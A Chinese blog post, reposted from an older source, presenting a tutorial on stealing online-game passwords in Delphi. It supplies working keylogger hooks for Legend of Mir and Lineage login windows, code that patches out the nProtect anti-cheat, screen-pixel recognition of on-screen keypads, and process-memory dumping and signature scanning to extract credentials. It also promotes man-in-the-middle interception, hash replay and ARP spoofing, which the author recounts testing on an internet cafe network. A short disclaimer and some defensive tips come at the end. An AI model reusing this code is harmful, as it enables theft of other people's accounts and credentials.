Delphi游戏密码截取编程讲座(几年前的老文章)

3条评论 2013-12-19 admin

        最近公司的项目太多,没有时间更新BLOG,所以暂时先把以前的一些文章再发上来。只是可惜这些文章我自己都没有存档,最后还是从百度拷贝回来的。这里是其中一篇,在别人的百度空间发现的。从引用的时间看,应该写于2011年6月份之前。
        引用页链接:http://hi.baidu.com/32881/item/92a625b78ace2a75254b09cf,http://hi.baidu.com/32881/item/04af52aa8c14fef615329bf3,http://hi.baidu.com/32881/item/fb139c440c60a1d2c1a592f3。
        另外,中国早已立法,开发这些盗号的程序是犯法的,本文仅讨论技术,写于立法之前,请读者仅限于测试安全使用,而且一切后果均由读者自己承担。
=====================================================================================================================
        相信很多人是从玩游戏开始踏入编程这个行列的,下面讲述一下如何获取游戏密码。
        这个讲座分为三部分:键盘鼠标钩子截取、内存截取和封包截取,因为出于技术探讨的目的,所有实例均以2004年的游戏为主,所以可能涉及的部分代码现在已经失效,但思路是不变的。

一、键盘鼠标钩子截取
        2004年的时候,我刚从学校出来参加工作,当时盛大公司引进了一款韩国游戏《热血传奇》,因为是国内第一个客户端网络游戏,所以玩家非常多。而且当时网络不象今天这样木马横行,所以在密码保护方面程序没有做什么处理。
         在网上搜索了半天,找到一张登陆界面的图片:

game2

用Spy++扫描窗口,发现居然就是两个Edit,而且可以直接获取内容。立即编写代码:

    function GetCaption(hw: HWND): string;
    var
      szWindowText: array[0..MaxByte] of Char;
    begin
      GetWindowText(hw, szWindowText, MaxByte);
      Result := StrPas(szWindowText);
    end;

        收工了事。
        等等,前面不是说是键盘鼠标钩子截取么?这个跟键盘鼠标有毛关系?其实,的确没有什么关系。。。。。。。。。。。。我们先思考一下,应该在什么时候调用这个函数呢?聪明的读者马上会说:当然是出现这个登陆窗口的时候。嗯,但出现窗口后,用户如果还没输入完毕,那截取的也只是部分内容啊。所以我们要用键盘HOOK了。
        键盘HOOK的处理函数大概如下:

function KeyBoardHookPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;
var
  hActiv: HWND;
  WinClass, WinText: string;
begin
  Result := 0;
  if iCode < 0 then Result := CallNextHookEx(hKeyBoardHook, iCode, wParam, lParam);
  if ((Lparam and $80000000) = 0) and (Wparam = $D) then
  begin
    hActiv := GetActiveWindow;
    WinClass := GetClass(hActiv);
    WinText := GetCaption(hActiv);
    if (Uppercase(WinClass) = 'TFRMMAIN') and (Copy(WinText, 1, 13) = 'legend of mir') then
      if MyPShareMem^.nStep = 1 then
      begin
        nEditCount := 0;
        EnumChildWindows(hActiv, @EnumChildWindowsTEditProc, 0);
        if nEditCount = 3 then
          if (GetFocus = hEdit2) or (GetFocus = hEdit3) then
            GetUserID_Password(hActiv);
      end;
  end;
end;

        这段代码的作用在于,如果用户按了回车,那么说明密码已经输入完毕了,这时候扫描才是OK的。
        当然,用户也可能输入完毕后,用鼠标点击了“登陆”按钮,所以还要安装一个Mouse HOOK:

function MouseHookProc(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;
×××××××××××××××××××××××××××××××××××××××××××××××××××××

    if Copy(WinText, 1, 13) = 'legend of mir' then
        begin
          case MyPShareMem^.nStep of
            1: begin
                Rect.TopLeft.X := 446;
                Rect.TopLeft.Y := 317;
                Rect.BottomRight.X := 513;
                Rect.BottomRight.Y := 343;
                GetCursorPos(CurPos);
                if PtInRect(Rect, CurPos) then GetUserID_Password(hActiv);
              end;
××××××××××××××××××××××××××××××××××××××××××××××××××××××××

        当年台湾省还出了一个叫天堂1的游戏,为了保护帐号密码,GetWindowText已经无效了。它的登陆界面大概如下:
game2

        这个时候,只有老老实实的记录键盘了。注意:当时天堂1用了一个叫NP的保护程序,它会导致键盘HOOK不起作用,所以安装HOOK之前我们的先把它的保护给去掉:

var
DllName,FunctionName,sRet:string;
  kLib: Thandle;
NPKRegCryptMsg:pointer;
LPDW:WORD;
begin
    DllName:='npkcrypt.dll';
    FunctionName:='NPKRegCryptMsg';
    kLib:=LoadLibrary(Pchar(DllName));
   if kLib=0 then Exit;
   NPKRegCryptMsg:=GetProcAddress(kLib,Pchar(FunctionName));
   if NPKRegCryptMsg=nil then Exit;
  sRet:=#194#12#00;//实际上就是汇编的RET
   Result:=WriteProcessMemory(GetCurrentProcess, NPKRegCryptMsg, pointer(@(sRet[1])), 3, LPDW); 
end;

        后面就是老老实实的判断用户输入什么了:
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
键盘部分:

  if (wintext = 'Lineage Windows Client') and (classtext = 'Lineage') then
  begin
    GetKeyboardState(KeyboardState);
    if (KeyboardState[VK_CONTROL] and $80 <> 0) or (KeyboardState[VK_MENU] and $80 <> 0) then Exit;
    if (key = VK_RETURN) or (key = VK_TAB) or (key = VK_DOWN) then
    begin
      inc(iTabPassUser);
      if iTabPassUser >= MaxTab then iTabPassUser := 0;
      if iTabPassUser = TabUser then iUserPos := StrLen(@User);
    end
    else if (key = VK_UP) then
    begin
      Dec(iTabPassUser);
      if iTabPassUser < 0 then iTabPassUser := MaxTab - 1;
      if iTabPassUser = TabUser then iUserPos := StrLen(@User);
    end
    else if key = VK_LEFT then
    begin
      if iTabPassUser = TabUser then
        if iUserPos > 0 then Dec(iUserPos);
    end
    else if key = VK_RIGHT then
    begin
      if iTabPassUser = TabUser then
        if iUserPos < integer(strlen(@user)) then
          Inc(iUserPos);
    end
    else if key = VK_HOME then
    begin
      if iTabPassUser = TabUser then
        if iUserPos > 0 then
          iUserPos := 0;
    end
    else if key = VK_END then
    begin
      if iTabPassUser = TabUser then
      begin
        len := strlen(@user);
        if iUserPos < len then
          iUserPos := len;
      end;
    end
    else if key = VK_BACK then
    begin
      if iTabPassUser = TabUser then
      begin
        len := strlen(@user);
        if iUserPos > 0 then
        begin
          for i := iUserPos - 1 to len - 1 do
            User := User[i + 1];
          dec(iUserPos);
        end;
      end
      else if iTabPassUser = TabPass then
      begin
        len := strlen(@pass);
        if len > 0 then
        begin
          pass[len - 1] := #0;
        end;
      end;
    end
    else if key = VK_DELETE then
    begin
      if iTabPassUser = TabUser then
      begin
        len := strlen(@user);
        if iUserPos < len then
        begin
          for i := iUserPos to len - 1 do
            User := User[i + 1];
        end;
      end;
    end
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

        之所以处理的这么复杂,是因为可能有各种情况出现,例如,用户密码为abcd1234,有可能他输入ab12,再把光标移动到b后面输入cd,再移动光标到2后面输入34。
        还有鼠标部分就不给出代码了,它的作用主要是判断现在焦点位于户名还是密码位置。
        还有一种是图片键盘,这时候还的配合其它方法,例如,这个游戏里面有一个仓库密码,图片如下:
game3

        对于这种输入,处理起来非常简单,因为经过观察,它的键盘排列是顺序的,所以挂个鼠标HOOK,记录下大概点击的位置即可,然后查表就可以知道点了哪些数字。关键在于如何知道用户点了那个“OK”按钮。这时候,可以简单的识别一下即可:

var
  DHandle: THandle;
  lpoint: TPoint;
  ScreenX, ScreenY, x, y, pix, ix, iy, iP: Integer;
  s1, s: string;
  bfound: Boolean;
const
  dat: array[0..RecogWidth * RecogHeight - 1] of Integer = // "OK"象素颜色二维数组
    ($182839, $8C929C, $DEDBDE, $B5B2BD, $DEDBDE, $6B717B, $182031, $7B828C, $B5B2BD, $182031, $949AA5, $DEDBDE, $424952, $525963, $EFEBEF, $39414A, $182031, $6B717B, $DEDBE7, $293042, $7B828C, $B5B2BD, $6B717B, $DEDBDE, $424952, $182031, $7B828C, $B5B2BD, $182031, $182031, $182831, $EFEBEF, $525963, $7B828C, $DEDBDE, $EFEBEF, $7B828C, $182031, $182031, $7B828C, $C6C3CE, $182831, $182831, $293042, $EFEBEF, $525963, $7B828C, $DEDBDE, $949AA5, $DEDBDE, $293042, $182031, $31414A, $EFEBEF, $636973, $182831, $8C929C, $CED3D6, $182831, $7B828C, $B5B2BD, $182031, $C6C3CE, $A5AAAD, $182031, $182831, $636973, $CED3D6, $EFEBEF, $B5B2BD, $424952, $182031, $7B828C, $B5B2BD, $182031, $424952, $EFEBEF, $7B828C);
begin
  DeleteFile('1.dat');
  SetLength(s1, 4);
  s := '';
  DHandle := GetDc(Hwnd_Desktop); // 屏幕句柄
  GetCursorPos(lpoint);           // 鼠标位置
  ScreenX := Screen.Width;        // 屏幕尺寸..
  ScreenY := Screen.Height;
  for y := lpoint.Y - RectTop to lpoint.Y + RectBottom do //
  begin
    if (y < 0) or (y > ScreenY) then Continue; // 超出屏幕
    for x := lpoint.X - RectLeft to lpoint.X + RectRight do 
    begin
      if (x < 0) or (x > ScreenX) then Continue; // 超出屏幕
      PLongWord(s1)^ := GetPixel(DHandle, x, y); // 象素颜色
      s := s + s1;
      bfound := TRUE; // 假设找到
      ip := 0;        // dat下标
      for ix := x to x + RecogWidth - 1 do // 比较首行
      begin
        if (ix > ScreenX) then // 超出屏幕
        begin
          bfound := FALSE;
          Break;
        end;
        pix := GetPixel(DHandle, ix, y); // 象素颜色
        if (pix <> dat[ip]) then
        begin
          bfound := FALSE;
          Break;
        end;
        Inc(ip);
      end;
      if bfound then // 首行匹配
      begin
        WriteDat('found1!'#13#10, '1.txt');
        for iy := y + 1 to y + RecogHeight - 1 do
        begin
          if (not bfound) or (iy > ScreenY) then
          begin
            bfound := FALSE;
            Break;
          end;
          
          for ix := x to x + RecogWidth - 1 do
          begin
            if (ix > ScreenX) then
            begin
              bfound := FALSE;
              Break;
            end;
            pix := GetPixel(DHandle, ix, iy);
            if (pix <> dat[ip]) then
            begin
              bfound := FALSE;
              Break;
            end;
            Inc(ip);
          end;
        end;
        if bfound then // 全部匹配
        begin
          WriteDat(Format('found2 %d %d!'#13#10, [x, y]), '1.txt');
        end;
      end;
    end;
  end;

        后记:键盘鼠标钩子使用起来简单方便,但防范也很简单。笔者以前整理过一个PasswordEdit控件,这个控件安装后,上面的方法都无法截取了(效果一:用GetWindowText获取的将是迷惑的假字符;效果二:键盘记录获取的将是随机字符。

        咋整?内存扫描贝,对于一个有经验的程序员,使用内存搜索,从安装完游戏到完成代码,不会超过15分钟。等待第二讲吧。

        上一节发表后,收到一些朋友的来信,就几个关键问题回答一下:
         一、问:如何安装键盘鼠标HOOK?
        答:SetWindowsHookEx(WH_KEYBOARD….或WH_MOUSE。这种太基础的知识,请自行搜索google吧。
        二、问:对于第一讲里面的图片键盘,假如不是按顺序排列的怎么办?
        答:可以搜索内存,或者类似识别OK按钮一样,写几句代码

function OcrNum(pt: Tpoint): char;
const
  iHeight = 8;
  dat: array[0..9, 0..iHeight - 1] of byte = (
    (2, 1, 1, 1, 1, 1, 1, 0), //0
    (0, 0, 1, 0, 0, 0, 0, 0), //1
    (0, 2, 1, 0, 1, 1, 1, 4), //2
    (0, 2, 2, 1, 1, 1, 2, 2), //3
    (0, 0, 1, 1, 2, 1, 1, 1), //4
    (0, 3, 0, 0, 1, 0, 2, 2), //5
    (2, 1, 0, 1, 1, 2, 2, 0), //6
    (4, 1, 0, 1, 0, 0, 1, 0), //7
    (2, 2, 2, 2, 2, 2, 2, 0), //8
    (1, 0, 0, 1, 0, 0, 2, 0) //9
    );
var
  DHandle: Thandle;
  ix, iy, i1, ibak, iMin, iMinP: integer;
  iCount: array[0..iHeight - 1] of integer;
  pix: integer;
  function avg(i1: integer): byte;
  begin
    result := (i1 and $FF +
      (i1 shr 8) and $FF +
      (i1 shr 16) and $FF) div 3;
  end;
begin
  result := ' ';
  DHandle := GetDc(Hwnd_Desktop);
  for iy := 0 to iHeight - 1 do
  begin
    iCount[iy] := 0;
    for ix := 0 to 4 do
    begin
      pix := Avg(GetPixel(DHandle, pt.x + ix, pt.y + iy));
      if pix >= 220 then
        inc(iCount[iy]);
    end;
  end;
  iMinP := -1;
  iMin := maxint;
  for i1 := 0 to 9 do
  begin
    ibak := 0;
    for iy := 0 to iHeight - 1 do
      inc(ibak, abs(dat[i1, iy] - iCount[iy]));
    if ibak < iMin then
    begin
      iMin := ibak;
      iMinP := i1;
    end;
  end;
  //  if iMin<>0 then Messagebox(0,'','',0);
  if iMinP <> -1 then
    result := chr($30 + iMinP);
end;

        三、问:对于某些没有句柄的输入框,而且还使用了类似第一讲附件的技术,键盘记录下来是加密的,怎么办?
        答:最简单的是自己写一个透明Edit,覆盖在输入框上面。截获输入后,再把消息“漏”给下面。这个方法其实04年已经实验过了,因为后来NP升级的厉害,后来使用了此方法一劳永逸。

        总之,键盘鼠标钩子是个非常有用的东西,因为它可以:
        (一)进入到目标程序内部。
        (二)判断何时截取(例如,根据鼠标坐标判断当前输入焦点位于用户名称还是用户密码处,还有上面第一讲的键盘记录,例如用户名称为abcd1234,他输入ab12,再回到ab后面输入cd,这时候,他可以选择左箭头光标键,也可以使用鼠标来改变输入光标位置,所以必须同时结合),例如,判断用户是否点了图片的“登陆”按钮。因为游戏的登陆框一般是不能移动的,很容易事先定好判断范围。

        下面我们开始讲述内存截取。
        为什么可以从内存中截取户名密码呢?这是因为,一般密码的存放是两种形式:

    1. password:array[0..255]of char;//或pchar,其实都是一样的东西
    2. Tinfo=record
         version:integer;
         ....
         password:array[0..255]of char;
         ....
       end;     

        不管密码保存在哪里,程序肯定有一个全局变量指向它,所以搜索内存就可以发现密码。当然,内存搜索也不是万能的,但是它至少适合于80%的游戏(2004年的统计,后来不清楚)。
        实际上,WinHex也有搜索内存的功能,对于内存分析密码类程序,不能用WinHex分析,必须自己写一个抓内存和内存分析器的工具。抓内存时要把内存的每段的首地址及段长、段的属性(只读、执行、读写….)记录下来,这样记录下来的不是文件中的地址,而是进程中的真实地址。

        例如,我使用的抓取器代码段为:

  var
  SysInfo: TSystemInfo;
  pStart: pchar;
  MbInf: TMemoryBasicInformation;
  h: THandle;
  ibak, i, iInfo, iLen: integer;
  s: string;
  Protect: DWORD;
  iarray: array[0..5] of dword;
  da: array[0..1] of dword;
begin
    GetSystemInfo(SysInfo);
    EnableDebugPrivilege;

    h := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or PROCESS_VM_WRITE or PROCESS_QUERY_INFORMATION, true, GetCurrentProcessID);
   if h = 0 then   h := OpenProcess(PROCESS_QUERY_INFORMATION, true, GetCurrentProcessID);
    if h = 0 then
    begin
      s := 'OpenProcess error!' + inttostr(getlasterror);
      writedat(pchar(s), length(s), Pchar(datafile), ibak);
      Exit;
    end;
       pStart := SysInfo.lpMinimumApplicationAddress;
      while pStart < SysInfo.lpMaximumApplicationAddress do
      begin
        FillChar(MbInf, sizeof(TMemoryBasicInformation), 0);
        VirtualQueryEx(h, pStart, MbInf, sizeof(TMemoryBasicInformation));
        pStart := MbInf.BaseAddress;
        inc(pStart, MbInf.RegionSize);
        if (MbInf.RegionSize = 0) then
        begin
          break;
        end;
        if (MbInf.State = MEM_COMMIT) and
          (MbInf.Protect = PAGE_READWRITE)
          //or(MbInf.Protect in [PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_EXECUTE_WRITECOPY])) //PAGE_EXECUTE_READWRITE PAGE_WRITECOPY PAGE_EXECUTE_WRITECOPY
        then
        begin
          iarray[0] := dword(MbInf.BaseAddress);
          iarray[1] := MbInf.RegionSize;
          iarray[2] := MbInf.State;
          iarray[3] := MbInf.Protect;
          iarray[4] := $13572468;//标记,下同
          iarray[5] := $14725836;
          writedat(@iarray[0], sizeof(iarray), datafile, iInfo);
          iLen := writedat(MbInf.BaseAddress, MbInf.RegionSize,datafile, ibak);
          if DWORD(iLen) <> MbInf.RegionSize then
          begin
            if iLen = -1 then iLen := 0;
            h := fileopen(datafile, fmOpenWrite);
            if h <> Invalid_handle_value then
            begin
              fileseek(h, iInfo, 0);
              s := 'Resize ' + inttostr(iarray[1]) + ' to ' + inttostr(iLen) + ' OK'#$D#$A;
              iarray[1] := iLen;
              FileWrite(h, iarray[0], sizeof(iarray));
              FileClose(h);
              fileseek(h, 0, 2);
              writedat(pchar(s), length(s), 'c:code2.dat', ibak);
            end
            else writedat('Resize Error'#$D#$A, 14, 'c:code2.dat', ibak);
          end;
        end;
      end;
      CloseHandle(h);
end;

        你可以写一个键盘记录DLL,插入到欲分析的进程里面,并且在按下例如F12的时候调用上面的保存函数。什么时候应该按呢?一般地说,输入完户名密码后,就要按,因为户名密码不会一直在内存中。得到内存文件后,用分析器读入,点分析,然后把结果拷贝到框架代码里面即可完成一个游戏密码截取器了。所以对于一个老手,拿到一个程序,到写出截取密码的代码,不会超过30分钟。
        说一下技术要点:
        1、很多程序里面户名密码位置是固定的。实际分析中,可以安装两个系统Win98或ME一套,Win2000或XP或2003一套,在两种不同系统都抓取一次,如果内存分析器得到两个系统地址都是一样的,那么它就是固定的。你要截取,直接读该地址即可。
        2、如果反复登陆抓取几次,分析的地址都不一样,那么就搜索找到地址的地址(因为可能程序里面户名密码使用了指针的指针),所以内存分析器要有“找地址的地址”功能。一般最多是二级指针,不会有多级的,除非那程序员有病。
其它方法:
        有时侯分析工具找到密码,但地址不固定,那么对比一下每次地址周围的固定特征。有些程序看起来它周围没有固定特征,实际上,80%的游戏都是密码的地址的周围就有固定特征。不要试图在密码周围找特征,你可以在密码的地址的周围找。这个非常有效。切记,非常有效。例如,有一个程序,它的户名前面总是有个字符串“EditUser”,那么每次搜索的时候,只需要搜索这个字符串,然后向前偏移8就是户名了,密码也同理。
        例如,对于第一讲里面的天堂1,内存搜索的话大概代码段为:

procedure ThreadFind;
const
  sconst = '臝臝匒凙凙臕臕臕臕臕臕匒匒匒臕匒凙凙凙匒匒臝匒臕臕臕凙凙凙凙匒凙臕臝臝臝臝臝腝';
var
  ProcessHndle: HWND;
  SysInfo: _SYSTEM_INFO;
  MBI: MEMORY_BASIC_INFORMATION;
  PMemoAddr: Pointer;
  OldBasse: DWORD;
  d1, size: longword;
  i2: integer;
  p: pchar;
  bBreak:boolean;
begin
  bBreak:=false;
  ProcessHndle := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or PROCESS_QUERY_INFORMATION, false, GetCurrentProcessId);
  if ProcessHndle > 0 then
  begin
    GetSystemInfo(SysInfo);
    OldBasse := $FFFFFFFF;
    i2 := 1;
    PMemoAddr := SysInfo.lpMinimumApplicationAddress;
      while (not bBreak)and(dword(PMemoAddr) < dword(SysInfo.lpMaximumApplicationAddress)) do
      begin
        VirtualQueryEx(ProcessHndle, PMemoAddr, MBI, SizeOf(MBI));
        if (dword(MbI.BaseAddress) = OldBasse) and (MbI.RegionSize <= 0) then break;
        OldBasse := dword(MbI.BaseAddress);
        PMemoAddr := pointer(dword(MbI.BaseAddress) + MbI.RegionSize + $F);
         if (Mbi.Protect = PAGE_READONLY) or (Mbi.Protect = PAGE_READWRITE) or (Mbi.Protect = PAGE_WRITECOPY) then
        begin
            p := MbI.BaseAddress;
            size := MbI.RegionSize - $14E;
            while true do
            begin
              d1 := StrPosChar(p, size, #$C5);
              if d1 = $FFFFFFFF then break;
              dec(size, d1 + 1);
              inc(p, d1);
              if (plongword(p)^ = $49C549C5) then
              begin
                if strlcomp(p, sconst, $4E) = 0 then
                begin
                  if i2 = 1 then pUp1 := p
                  else if i2 = 2 then pUp2 := p;
                  inc(i2);
                  if do1(p) then
                  begin
                    bBreak:=true;
                    break;
                  end;
                end;
              end;
              inc(p);
            end;
        end;
      end;
  end;
  CloseHandle(ProcessHndle);
end;

        其实就是搜索那个sconst字符。
        什么时候读这个地址呢?有键盘录入时就读一次,并判断是否以#0结尾,或是否是合法的Unicode字符串。什么时候停止,这要看情况了。一般来说,不会有其它内存覆盖它的,如果它是空字符串就不要它,否则一直读它。

function CanRead(p: pointer; var size: integer): boolean;
var
  MemInfo: TMemoryBasicInformation;
begin
  fillchar(MemInfo, SizeOf(TMemoryBasicInformation), 0);
  VirtualQuery(p, MemInfo, SizeOf(TMemoryBasicInformation));
  size := Meminfo.RegionSize;
  result := (Meminfo.Protect > PAGE_READONLY);
end;

        这是判断一个内存是否能读的函数,如果该密码或该密码的地址是不能读的,说明程序已释放该内存,则以后都不再读它。记住:密码或该密码的地址都要用这个函数来判断一次,再读。
        补充:
        1、内存搜索法,如果程序升级了,那么你的代码也必须升级,因为可能它的地址已经发生了变化。
        2、除了内存搜索,还有内存打补丁法,特别对于一些内部有加密算法的程序,你甚至可以给它内部函数给PATH了,然后为所欲为。
         总结:
        1、先抓内存再分析,抓内存时要把内存的每段的首地址及段长、段的属性(只读、执行、读写….)记录下来。
        2、自己写一个内存分析器,能根据抓到内存,搜出实际地址信息。除了能搜索到信息外,还要有“找地址”和“递减找地址”功能。

        获取密码,还可以从网络协议入手。
        如果可以在目标机器运行程序,那么可以采取以下几种方法(均为Ring3下的方法):
        一:API HOOK。就是挂钩WinSock的Send、Recv等函数,这里有一个针对早期热血传奇的例子。点这里 传奇2.rar(73.62 KB, 下载次数: 9)
2011-6-26 02:20 上传下载次数: 9
下载Delphi代码。
        二:RAW Sock捕获。这里给出一个台湾省天堂1的截获拦截例子代码,点这里 Lineage网络版.rar(198.04 KB, 下载次数: 14)
2011-6-26 02:24 上传下载次数: 14
下载。

        可能这样分类还是有些笼统。我们从加解密方式来说好了。加密算法其实就是一段数学运算算法,分为对称加密和非对称加密。对称加密,是说加密解密使用同一个密钥。例如:假设加密算法为:Y=X+M,其中M为密钥。假设原始数据为数字5(X),密钥为8(M),那么加密结果是13。解密的话作相反运算即可。也就是说,对称加密,加密/解密双方共用一个密钥,而且结果可逆。常见的DES,AES等都是属于对称加密算法。而非对称加密,则分为可逆和不可逆两种。例如,MD5属于不可逆(其实不是不可逆,而是逆运算的话,结果有无穷个)。而RSA属于可逆的,大概流程如下:
        (1)用户A生成一套密钥,我们称为公钥A和私钥A。用公钥A加密的数据,只能使用私钥A解密。
        (2)用户B生成一套密钥,我们称为公钥B和私钥B。用公钥B加密的数据,只能使用私钥B解密。
        (3)当A与B通信的时候,双方先交换公钥,然后发送数据的时候,用对方的公钥加密,接收到数据,则用自己的私钥解密。由于双方都是只拥有对方的公钥,而私钥自己保存,所以相对而言,比对称加密安全很多。

        对于对称加密算法的程序,只要解开其算法即可,这类游戏的代表有:乱 Luan.pas(8.96 KB, 下载次数: 6)
2011-6-26 02:39 上传下载次数: 6
、三国 Unit_SOL30.pas(3.39 KB, 下载次数: 7)
2011-6-26 02:39 上传下载次数: 7
、枫 Mxd.pas(70.78 KB, 下载次数: 6)
2011-6-26 02:39 上传下载次数: 6
等等。
        对于非对称加密算法的程序,则分为两种,我接触过有两个,一个是天堂2,这种使用中间人欺骗即可,点这里 MainUnit.pas(11.8 KB, 下载次数: 9)
2011-6-26 02:42 上传下载次数: 9
下载演示代码;另外一个好像叫华义??它是走HTTPS的,仍然使用中间人欺骗搞定。另外一种是MD5加密的,好像曾经有一个叫热血江湖还是什么的,它的密码其实就是简单的MD5两次。对于这种,捕获下来就是。没必要解密,然后自己写个HOOK,随便输入一个密码,在发送的时候替换成捕获的即可。

         网络截取,可以使用ARP欺骗等方式。需要注意的是,流量问题,测试的时候,一定要在实际环境下跑。我记得04年的时候,搞过ARP欺骗,花了几个晚上,折腾出一个版本,然后跑去网吧跑(大概250台机器左右),不到3分钟,就不断有机器掉线,网吧老板马上派马崽出来检查,幸好溜的快,否则一番毒打在所难免。后来回去把数据处理换成无锁结构(Lock_Free),再次测试,跑了一天,非常流畅。所以对于这种程序,一定要先保证逻辑正确。对于大流量的环境,必须快速的转发。幸好那时候没有什么ARP防火墙这种东西(实际上,ARP防火墙根本无法防止ARP欺骗的,不信你自己试试就知道)。但后来养成了非常好的习惯,就是逻辑一定要先正确,要把各种可能发生的情况都考虑进去。所以半年后,我写程序都不再测试了,写完就丢出去,也没有听说过有什么BUG。一定要时刻提醒自己,代码写的不好,有可能会招致毒打。

        关于防范的几个建议:
        一、尽量不要使用公开的算法,特别是知名的算法。否则,对于有经验的老手来说(例如在下),只要看数据包几分钟就能看出用了什么算法。
        二、非对称算法,除了密钥外,一定要进行校验,避免中间人欺骗。千万不要掉以轻心,不要有侥幸心理。我举两个例子,一个就是当年的建设银行网上银行,我试验过,它虽然使用了HTTPS,但是解密后,帐号密码都是明文的。不过当时我在网上说了之后,几天后再试验发现已经修补了,可能前面他们以为使用了SSL就很安全。另外一个例子就是黑洞2004,当时搞过注册版本,用的是网络验证在线生成服务端技术(没错,这个又是我们第一个弄的,后来又被模仿)。当时写代码的过程中,我已经想到有可能会被哪几种方法躲开,但是我想,应该没人想的到吧,应该没人会去折腾这种东西吧,应该。。。。结果出来几天就是被人解了。迫不得已,只好老老实实重新升级了算法才避开。所以,千万不要想当然,革命不是请客吃饭,是要死人的。
        三、要想真正密码安全,必须彻底隔离。例如,密码验证通过手机之类发送,千万不要通过电脑。只要你通过电脑,都是可以解开的。就好像很多人以为PGP多安全一样,你拿个给我试试,我就告诉你安全不安全了。这个观点我几年前跟XYZREG见面时也说过,后来在腾讯安全大会他也就这话题演讲过。

        最后补充几句,虽然我们平时讨论技术,都是讨论过时的,或至少对于我们来说已经是几年前的东西,但就加密解密而言,可以说一下目前比较流行的技术。对于在线验证而言(为什么要搞在线验证?是因为本地验证太弱智,不管你如何验证,本质都是 “if 某条件为True 则通过”,要解开是非常简单的),比较好的方法是把核心部分放在服务器,验证后下载到内存解密运行。关键在于解密算法:时刻要变化,也就是说,你现在下载的,第二次已经无法再用现在的算法解开了,算法是时刻变化的不可逆的。对于信息加密,不要表露出明显痕迹。例如,对于“今天晚上8点,我在天上人间等你”。加密后的结果应该为“菲利谱,让我们做的更好”这种有意义的话。
        再说句题外话,其实目前很多加密算法都是很简单的,例如手机通信的A3A5算法,理论上你买个10元钱的收音机,再接一台笔记本,就能实现监听,根本无需KI。又比如以前的3Q大战,要看到底有没有侵犯用户隐私,你弄个嗅探器解开它网络数据不就结了?它再怎么扫描,总要传回服务器的。
        扯远了,就这样吧。
        因为我并非科班出身,对于加密解密研究也不深,所以上面的一些名词、原理可能说的不一定对,希望各位博士不要扔砖头,谢谢。另外,这个讲座所使用的例子都是6~7年前的,所以涉及到的具体程序大部分已经不再运营,算法肯定也已经失效。但原理是不变的。

分类:系统编程

3条评论 发表评论

发表评论

(必填)

(必填), (Hidden)

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

TrackBack URL  |  这篇文章上的评论的RSS feed


近期文章

近期评论

文章归档

分类目录